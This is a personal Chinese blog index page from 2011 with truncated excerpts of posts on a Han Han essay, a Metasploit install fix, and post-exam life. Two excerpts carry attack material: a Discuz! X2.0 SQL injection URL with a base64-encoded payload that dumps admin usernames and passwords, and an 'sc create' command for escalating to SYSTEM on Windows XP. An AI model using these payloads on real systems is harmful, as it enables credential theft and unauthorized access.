王健宇's BLOG

没希望工程--转自韩寒博客

2011-7-1 王健宇 转载

       中国的慈善机构是很淡定的，因为他们都是政府机构，事态再失控，他们都不害怕。

 

       他们知道，他们拥有最后一道防线：舆论消灭权。

       在这些慈善机构们到了最危险的时候，肯定有个部门会...

阅读全文>>

标签: 没希望工程

评论(1) 浏览(3170)

Discuz! X2.0 SQL注入漏洞 EXP

2011-6-30 王健宇 转载

DZ2.0直接暴管理账号密码（默认前缀的情况下）

http://xxx/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd29yZCkgZnJvbSBwcmVfY29t...

阅读全文>>

标签: Discuz! X2.0 0day DZ2.0 0day Discuz! X2.0 exp DZ2.0 exp

评论(2) 浏览(8071)

关于最近出的xp本地system提权脚本研究

2011-6-22 王健宇

在看到这个脚本以后便明白了，其实这也算不上什么0day，只是利用任务计划而已。

同样我们还可以利用其他方式来提升到system权限，如：系统启动服务项也是system权限，按某些快捷键启动的也是system权限。

如代码：

sc Create xiaoyu binPath= "cmd /c start cmd" type= own type= interact start= auto

net...

阅读全文>>

标签: xp本地system提权脚本 系统服务提权

评论(7) 浏览(4313)

在Windows上安装Metasploit Framework 3.7.1出现问题及解决方法

2011-6-17 王健宇 转载

今天尝试安装了一下Metasploit Framework 3.7.1，在装有Windows系统上尝试安装，总是会报错：

There has been an error. …… ALTER USER postgres PASSWORD ‘XXXXXXX’

经搜索后得知解决方法，这里转载并总结一下：

MSF安装...

阅读全文>>

标签: postgresql安装出错 Metasploit3.7安装出错

评论(2) 浏览(3513)

高考完了，不容易的过了几天

2011-6-13 王健宇 日志

6月7日-6月8日好不容易熬完了这个学期，艰难的2天考完了。

当天同学们和老师一起在学校办了毕业晚会，不容易啊，晚上九点才开始，隔壁班还有卡啦OK。

学校对我们班看的没那么重唉，卡啦OK也没，就拿个杯子当麦克风清唱，杯具的喉咙都嘶了。

6月9日下午就去了娄底，想租个房子找份工作。艰难啊！

卡上钱也不多了，这几天上网时间少，几乎都浪费在了没意义的事情上，很多事情影响了自己的情绪。

最近的事情舆论也大，我也不想...

阅读全文>>

标签: 高考完的生活

评论(2) 浏览(2822)